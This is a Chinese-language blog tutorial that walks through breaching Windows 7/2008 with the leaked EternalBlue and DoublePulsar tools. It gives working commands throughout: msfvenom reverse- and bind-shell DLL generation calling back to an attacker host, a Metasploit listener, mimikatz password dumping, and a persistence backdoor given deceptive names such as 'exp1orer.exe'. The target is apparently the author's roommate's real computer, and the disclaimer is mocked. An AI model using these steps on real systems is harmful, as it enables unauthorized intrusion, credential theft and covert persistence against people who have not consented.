本文仅供实验性研究,请勿用于非法用途,出啥事我不负责。真的!别算我头上,我胆小害怕。
好吧,如果这免责声明能管用的话……
有个歪果仁写了一系列文章,蛮详细的,如果有兴趣的话可以戳去读一读吧:From git clone to Pwned - Owning Windows with DoublePulsar and EternalBlue
目前,某些特定版本的Windows 10也可以了,可以参见这个PR https://github.com/rapid7/metasploit-framework/pull/9473
介绍
几个星期之前Shadow Broker把NSA的黑客工具偷出来并公布了,据说这些工具非常强大,一个小毛孩都能拿着这些黑掉大半个瘟斗士……嗯,今天我这小毛孩跟你们说下,确实如此好吧。
本文我们将会集中讨论在Windows上使用EternalBlue来渗透Windows 7/2008,然后使用插件Doublepulsar来注入dll。咱使用的工具是NSA的"metasploit",名为"FuzzBunch"
为啥选择EternalBlue
在NSA泄露的那对工具之中,EternalBlue是唯一一个能够攻击Windows 7和Windows Server 2008、并且不需要任何认证信息的工具;在expliot成功之后,我们使用Doublepulsar将我们制作的恶意dll注入系统进程中,从而拿到shell
概念解释
exploit:就是用来触发漏洞的程序
payload:就是触发漏洞之后执行的代码。如果exploit是火药的话,payload就是(具有杀伤力的)弹头
framework:为了方便使用、测试、研究,人们把这么一大堆东西放到一起做成一个"框架",咱可以在这一个框架里完成exploit、payload等操作,不用来回切换,嗯粗略理解就是个这么玩意。
准备实验环境
我们需要准备三台电脑,好吧,其实虚拟机就够了(记得设置成桥接)。并且这三台电脑要在同一局域网下,也就意味着能够互相ping通
目标机、靶机: Windows 7 x64 SP1:172.26.99.211
Windows 7、Windows server 2008在此作为我们的靶机,也就是受害者。我们啥也不需要知道,只要有个IP、能够ping通就好了。
感谢我室友那英勇就义的电脑啊!
攻击机1 FuzzBunch(主要):Windows XP SP3:172.26.97.206
我们用XP来运行FuzzBunch。我猜没人想用wine吧?为啥用xp呢?xp比较小,在虚拟机中安装速度比较快,省时间,省硬盘,嗯……
攻击机2 Metasploit(次要):Kali Linux :172.26.96.152
任何一个Linux发行版都可以,只要能够运行metasploit即可;如果实在不会用Linux,在Windows下使用metasploit也算可以吧。
准备工作
正常来说,咱在做坏事之前,必然要先做一些搜集信息的工作,最常用的工具就是nmap啦!
咱使用nmap 来探测目标的信息,发现445简直就是福利。使用参数-O代表探测操作系统,-A代表all。
Target is all set, blow it!
配置FuzzBunch
FuzzBunch需要Python2.6、旧版本的PyWin32
Python2.6:https://www.python.org/download/releases/2.6/(记得加到环境变量里)
PyWin32 v2.12:https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/
当然还有这套工具了:https://github.com/misterch0c/shadowbroker
咱把这些东西都准备妥当了,然后编辑windows/fb.py
,注释72行
大概就是如图所示:
之后再改FuzzBunch.xml,19和24行改成和你XP上一样的正确的路径。
之后我们切到对应的目录中,然后执行python fb.py
,当当当!
默认的目标IP,就写我们的Windows 7咯,也就是172.26.99.211,下一个callback IP,就是XP的IP,然后Redirection输入no;
下一步,fz让我们给起个名字,由于我已经运行过了,所以就选择create a new project啦
使用EternalBlue攻击目标
第一步,咱要用EternalBlue来exploit目标,使用方法类似metasploit
use EternalBlue
啥都不管一直按回车使用默认值,除了在mode的时候选择2:FB
最后EternalBlue会问我们是否执行?直接回车吧。
如果不出意外的话,就应该成功了嗯……
当然要是出意外了,可能就会提示fail,咱要么execute
再运行一下,要么就是目标机蓝屏啥了……嗯反正多试试吧。
制作恶意dll
NSA的这堆exploit是很强大,但是payload感觉好像就弱了一些,像Doublepulsar能够注入dll、shellcode,好像没有metasploit那么强大哎?
没关系,咱用metasploit生成一个dll,交给Doublepulsar注入就好了。
在生成dll之前,咱首先要学习下metasploit中的meterpreter的几种类型:
meterpreter就是一个跨平台的shell,功能很强大,嘿嘿嘿。通常来说meterpreter有这么两种模式:正向和反向
bind:攻击者连接目标机器的模式,通常比较适合内网渗透,有时会被防火墙拦下
reverse:目标机连接攻击者的模式,基本上不会被防火墙阻拦。估计岁数大的小盆友们可能知道灰鸽子?这玩意就是反弹到攻击者的啦。
当然,这俩还能够细分为tcp、http、https,区别是啥,自己看帮助去!
这里咱就创建一个reverse_tcp啦。
需要注意的是,Doublepulsar要求比较多,64位的系统必须用64位的dll,32位的当然只能用32位的了,所以别搞错了。
咱直接打开终端,输入如下命令:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.26.96.152 LPORT=8089 -f dll >reverse.dll
其中LHOST代表kali的IP地址,LPORT代表本地监听的地址(因为要反弹嘛),生成的文件名字为reverse.dll
我们只要简单的把这个dll拷贝到xp中即可。哎,咋拷贝最方便呢?没装虚拟机的辅助工具?没关系,在dll的存放目录下来一句python –m SimpleHTTPServer 80
拿起XP里久违的IE6,访问kali的IP然后下载那个dll就好了嘛。
然后咱就让metasploit开启监听吧!
set PAYLOAD windows/x64/meterpreter/reverse_tcp use exploit/multi/handler set lhost 172.26.96.152 set LPORT 8089 run
生成bind模式的meterpreter
#32位 msfvenom -p windows/meterpreter/bind_tcp RHOST=10.1.1.71 LPORT=8089 -f dll >x86bind.dll #64位 msfvenom -p windows/x64/meterpreter/bind_tcp RHOST=10.1.1.71 LPORT=8089 -f dll >x64bind.dll
RHOST为目标机的IP、LPORT为目标机开的端口号
使用Doublepulsar注入我们的恶意dll
use DoublePulsa
老样子,一路回车,除了Architecture选择x64,Function选RunDLL,然后输入DLL路径。
如果运气好的话,嘿嘿嘿……
之后该做什么呢
获取管理员密码
当然第一步是吧管理员密码搞出来了,怎么办呢?很简单啦其实
load mimikatz wdigest
哎这兄弟有我这样的室友真是悲剧啊……
植入持久后门
万一目标重启了,咱就要重新exploit、植入dll(因为这玩意是跑在内存里的),多不方便,所以不如咱植入个持久后门嘛,当然,咱要先交叉编译一个后门……
嗯其实就是,自己看着来,大概就是:
msfpc windows 172.26.99.211 443 bind verbose
之后meterpreter里来这么一句
run post/windows/manage/persistence_exe REXENAME=cmd.exe REXEPATH=/root/backdoor/miao.exe STARTUP=USER
其中REXENAME是拷贝到目标系统中的名字,咱取个比较有迷惑性的,比如说exp1orer.exe啦(注意是1不是l),cmd.exe啦,httpd.exe啦等等吧;REXEPATH是后门在本地的位置,STARTUP有USER、SYSTEM、SERVICE这三种取值。看参数就知道是啥意思了。
最后的话
反正我们是啥都没要,一个IP就成功的黑了进去。颇有当年ms08-067的风范。
可怕的地方就是,看文件的时间戳,NSA在2011年就有了EternalBlue……你再看这文件名Eternal永远的永恒的……
等等……标题里还说了要黑Windows Server 2003不是?可是metasploit里的那个不支持中文版的Windows Server 2003啊……所以,要么咱用修改版的ms08-067,要么用NSA的那个。
修改版的ms-08-067戳我,来源戳我,地址与使用方法戳章鱼猫
开源萌萌哒章鱼猫
参考资料:
exploit db论文: How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008